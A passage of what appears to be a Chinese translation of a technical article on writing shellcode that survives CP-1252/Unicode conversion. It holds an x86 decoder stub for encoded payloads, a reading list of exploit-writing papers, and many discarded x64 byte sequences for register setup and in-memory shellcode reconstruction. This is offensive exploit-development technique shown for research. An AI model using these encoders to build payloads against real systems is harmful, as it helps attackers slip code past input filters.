; needs stack allocation if executing from RX memory
;
; odzhan
bits 32
%define CP1252_KEY 0x4D
jmp init_decode ; read the program counter
; esi = source
; edi = destination
; ecx = length
decode_bytes:
lodsb ; read a byte
dec al ; c - 1
jnz save_byte
lodsb ; skip null byte
lodsb ; read next byte
xor al, CP1252_KEY ; c ^= CP1252_KEY
save_byte:
stosb ; save in buffer
lodsb ; skip null byte
loop decode_bytes
ret
load_data:
pop esi ; esi = start of data
; ********************** ; decode the 32-bit length
read_len:
push 0 ; len = 0
push esp ;
pop edi ; edi = &len
push 4 ; 32-bits
pop ecx
call decode_bytes
pop ecx ; ecx = len
; ********************** ; decode remainder of data
push esi ;
pop edi ; edi = encoded data
push esi ; save address for RET
jmp decode_bytes
init_decode:
call load_data
; CP1252 encoded data goes here..
解码器可以存储在缓冲区的开头，而回调可以存储在内存的更高位置。
0x07 进一步研究
下面列出了相关的论文和演讲资料。如果大家发现有未列出的Unicode Shellcode相关优秀文章，欢迎随时通过电子邮件与我取得联系。
[1] Chris Anley – 在Unicode扩展字符串中创建任意Shellcode
https://www.nccgroup.com/uk/our-research/creating-arbitrary-shellcode-in-unicode-expanded-strings/
[2] Chris/Kristin Paget – 利用Win32 API中的设计缺陷进行特权升级
https://web.archive.org/web/20060904080018/http://security.tombom.co.uk/shatter.html
[3] Chris/Kristin Paget – Shatter attacks的更多技巧与细节
https://web.archive.org/web/20060830211709/http://security.tombom.co.uk/moreshatter.html
[4] Chris/Kristin Paget – 关于Shatter attacks的漏洞利用与信息
https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-paget.pdf
[5] obscou – 构建IA32“Unicode-Proof”Shellcode
http://phrack.org/issues/61/11.html
[6] Dave Aitel – 漏洞利用剖析：陷入困境应该怎么做
https://www.blackhat.com/presentations/win-usa-03/bh-win-03-aitel/bh-win-03-aitel.pdf
[7] Oliver Lavery – Win32消息漏洞
https://web.archive.org/web/20030917194127/http://www.idefense.com/idpapers/Shatter_Redux.pdf
[8] Phenoelit/FX – 实用Win32和UNICODE漏洞利用
https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf
[9] Brett Moore – Shatter的例子
https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-moore/bh-us-04-moore-whitepaper.pdf
[10] Thomas Wana – 编写兼容UTF-8的Shellcode
http://phrack.org/issues/62/9.html
[11] Unicode Shellcode及改进
http://bigsonata.com/resources/unicode_shellcode_2008.pdf
[12] 漏洞利用编写教程第7部分：Unicode，从0x00410041到calc
https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
0x08 代码回收站
以下是一些我们考虑过，但最后没有使用的代码。在这里，我们提供了为什么将其丢弃的说明。
最开始的尝试是将EAX设置为0，将AL和AH设置为0，然后使用CWDE将AX扩展为EAX。但遗憾的是，0x98无法使用。
"xb0x00" /* mov al, 0 */
"x00x4dx00" /* add byte [ebp], cl */
"xb4x00" /* mov ah, 0 */
"x00x4dx00" /* add byte [ebp], cl */
"x98" /* cwde */
将EAX设置为0的另一个想法。使用CLC清除进位标志，将EAX设置为0xFF00FF00。从EAX减去0xFF00FF00 + CF，这会导致将EAX设置为0。这里的问题在于，ADD会影响“进位标志”，这就是它之所以无法按预期工作的原因。当然，也可能会起作用，具体取决于RBP指向什么，以及CL的值是什么。
"xf8" /* clc */
"x00x4dx00" /* add byte [rbp], cl */
"xb8x00xffx00xff" /* mov eax, 0xff00ff00 */
"x00x4dx00" /* add byte [rbp], cl */
"x1dx00xffx00xff" /* sbb eax, 0xff00ff00 */
"x00x4dx00" /* add byte [rbp], cl */
这个想法是将EAX设置为-1。首先，使用STC设置进位标志，将EAX设置为0xFF00FF00。从EAX减去0xFF00FF00 + CF，这会将EAX设置为0xFFFFFFFF。出现了与以前一样的问题。
"xf9" /* stc */
"x00x4dx00" /* add byte [rbp], cl */
"xb8x00xffx00xff" /* mov eax, 0xff00ff00 */
"x00x4dx00" /* add byte [rbp], cl */
"x1dx00xffx00xff" /* sbb eax, 0xff00ff00 */
"x00x4dx00" /* add byte [rbp], cl */
这个想法是将EAX设置为1。首先，将EAX设置为0，设置进位标志（CF），然后使用随进位（ADC）将CF与AL相加。这里会出现与以前一样的问题。
"x6ax00" /* push 0 */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xf9" /* stc */
"x00x4dx00" /* add byte [rbp], cl */
"x14x00" /* adc al, 0 */
将EAX设置为-1的另一个版本。将0存储在堆栈中，将地址加载到RAX中，然后加1。向左旋转31位以得到0x80000000。加载到EAX中，并使用CDQ将EDX设置为-1，然后交换EAX和EDX。问题在于，0x99转换为双字节编码。
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xffx00" /* inc dword [rax] */
"x00x4dx00" /* add byte [rbp], cl */
"xc1x00x1f" /* rol dword [rax], 0x1f */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"x99" /* cdq */
"x00x4dx00" /* add byte [rbp], cl */
"x92" /* xchg eax, edx */
我研究了各种模拟指令的方法，最终发现只能使用自修改的代码才能有用。将布尔逻辑与按位指令（AND/XOR/OR/NOT）与某些算数运算符（NEG/ADD/SUB）一起使用，以选择应该继续执行代码的地址。RET指令是唯一可以用于转移执行的操作码。没有可直接使用的JMP、Jcc或CALL指令。
如果我们必须修改代码以模拟布尔逻辑，那么只将指令写入到内存并在其中执行就变得更有意义了。
"x39xd8" /* cmp eax, ebx */
在这里，没有与CP-1252兼容的用于CMP或SUB寄存器的简单组合。我们可以将EAX与立即值进行比较，但无法再与其他值进行比较了。以下使用CMPSD的代码尝试比较EAX < EBX，产生的结果为0（FALSE）或-1（TRUE）。除了SBB之前的ADD指令生成错误结果之外，其他都可以正常工作。
"x50" /* push rax */
"x00x4dx00" /* add byte [rbp], cl */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x5e" /* pop rsi */
"x00x4dx00" /* add byte [rbp], cl */
"x53" /* push rbx */
"x00x4dx00" /* add byte [rbp], cl */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x5f" /* pop rdi */
"x00x4dx00" /* add byte [rbp], cl */
"xa7" /* cmpsd */
"x00x4dx00" /* add byte [rbp], cl */
"x6ax00" /* push 0 */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"x1cx00" /* sbb al, 0 */
"x50" /* push rax */
"x00x4dx00" /* add byte [rbp], cl */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xc1x00x18" /* rol dword ptr [rax], 0x18 */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x5f" /* pop rdi */
"x00x4dx00" /* add byte [rbp], cl */
"xaa" /* stosb */
"x00x4dx00" /* add byte [rbp], cl */
"xaa" /* stosb */
"x00x4dx00" /* add byte [rbp], cl */
"xaa" /* stosb */
"x00x4dx00" /* add byte [rbp], cl */
"xaa" /* stosb */
将0xFF000700加载到EAX中。使用SAHF设置进位标志（CF）。然后使用SBB减去0xFF000700 + CF，这会将EAX设置为-1或0xFFFFFFFF。
"xb8x00x07x00xff" /* mov eax, 0xff000700 */
"x00x4dx00" /* add byte [rbp], cl */
"x9e" /* sahf */
"x00x4dx00" /* add byte [rbp], cl */
"x1dx00x07x00xff" /* sbb eax, 0xff000700 */
"x00x4dx00" /* add byte [rbp], cl */
这里有两个问题：SAHF是我们不能使用的字节（0x9E），即使可以使用，SAHF指令修改标志寄存器后的ADD也会导致EAX设置为0或-1。结果取决于存储在地址rbp中包含的字节和CL的值。
加-1将从包含其地址的变量EAX中减去1。
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"x83x00xff" /* add dword [eax], -1 */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
效果很好，但是由于0x83转换为双字节编码，因此我们无法使用它。
用STC设置进位标志（CF）。使用SBB AL, 0，将AL设置为0xFF。在堆栈上创建一个设置为0的变量。将该变量的地址加载到rdi中。在加载到RAX之前，将AL存储到变量四次。在STC执行之后的加法无效。
"xf9" /* stc */
"x00x4dx00" /* add byte [rbp], cl */
"x1cx00" /* sbb al, 0 */
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x5f" /* pop rdi */
"x00x4dx00" /* add byte [rbp], cl */
"xaa" /* stosb */
"x00x4dx00" /* add byte [rbp], cl */
"xaa" /* stosb */
"x00x4dx00" /* add byte [rbp], cl */
"xaa" /* stosb */
"x00x4dx00" /* add byte [rbp], cl */
"xaa" /* stosb */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
下一个代码段仅将RCX的值复制到RAX。它过于复杂，在某些情况下，POP QWORD指令可能会有用，我们觉得它并不是那么实用。
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"x51" /* push rcx */
"x00x4dx00" /* add byte [rbp], cl */
"x8fx00" /* pop qword [rax] */
"x00x4dx00" /* add byte [rbp], cl */
"x5f" /* pop rax */
添加寄存器是一个问题，特别是在进位发生的时候。对32位寄存器进行的任何操作都会自动清除64位寄存器的较高32位，因此要对地址进行加减运算，并不能对32位寄存器执行ADD和SUB。
push 0
pop rcx
xnop
push rbp ; save rbp
xnop
; 1. ====================================
push 0 ; store 0 as X
push rsp ; store &X
xnop
pop rbp ; load &X
xnop
; 2. ====================================
mov eax, 0xFF001200 ; load 0xFF001200
add [rbp], ah ; add 0x12
adc al, 0 ; AL = CF
push rbp ; store &X
xnop
push rsp ; store &&X
xnop
pop rax ; load &&X
xnop
inc dword[rax] ; &X++
pop rbp
xnop
add [rbp], al ; add CF
; 3. ====================================
最后，可能有用也可能没用的工具。假设我们已经拥有Shellcode，并且想要在执行之前在内存重建它。如果表1的地址在RAX中，表2的地址在RSI中，R8为0，那么下一条指令可能会有用。Shellcode的每个偶数字节都将存储在一个表中，而每个奇数字节存储在另一个表中。然后在运行时，我们将两个表结合起来。唯一的问题就是将R8设为0，因为使用它的任何地方都需要REX前缀。如果R8已经为0，这个思路将非常可行。
; read byte from table 2
lodsb
add [rbp], cl
add byte[rax+r8+1], al ; copy to table 1
add [rbp], cl
lodsb
add [rbp], cl
add byte[rax+r8+3], al
add [rbp], cl
lodsb
add [rbp], cl
add byte[rax+r8+5], al
add [rbp], cl
; and so on..
; execute
push rax
ret
使用以上指令将8位添加到32位字中。
; step 1
push rax ; save pointer
add byte[rbp], cl
add byte[rax+r8], bl ; A[0] += B[0]
mov al, 0
adc al, 0 ; set carry
add byte[rbp], cl
push rax ; save carry
add byte[rbp], cl
pop rcx ; load carry into CL
add byte[rbp], cl
pop rax ; restore pointer
add byte[rbp], cl
; step 2
push rax ; save pointer
add byte[rbp], cl
rol dword[rax], 24
add byte[rbp], cl
add byte[rax+r8], cl ; A[1] += CF
mov al, 0
adc al, 0 ; set carry
add byte[rbp], cl
push rax ; save carry
add byte[rbp], cl
pop rcx ; load carry into CL
add byte[rbp], cl
pop rax ; restore pointer
add byte[rbp], cl
; step 3
push rax ; save pointer
add byte[rbp], cl
rol dword[rax], 24
add byte[rbp], cl
add byte[rax+r8], cl ; A[2] += CF
mov al, 0
adc al, 0 ; set carry
add byte[rbp], cl
push rax ; save carry
add byte[rbp], cl
pop rcx ; load carry into CL
add byte[rbp], cl
pop rax ; restore pointer
add byte[rbp], cl
; step 4
push rax ; save pointer
add byte[rbp], cl
rol dword[rax], 24
add byte[rbp], cl
add byte[rax+r8], cl ; A[3] += CF
mov al, 0
adc al, 0 ; set carry
add byte[rbp], cl
push rax ; save carry
add byte[rbp], cl
pop rcx ; load carry into CL
add byte[rbp], cl
pop rax ; restore pointer
add byte[rbp], cl
; step 5
rol dword[rax], 24
add byte[rbp], cl
如我们所见，尝试模拟指令并不仅仅是将代码写入内存中，并且以这种方式执行会非常麻烦。
还没有评论，来说两句吧...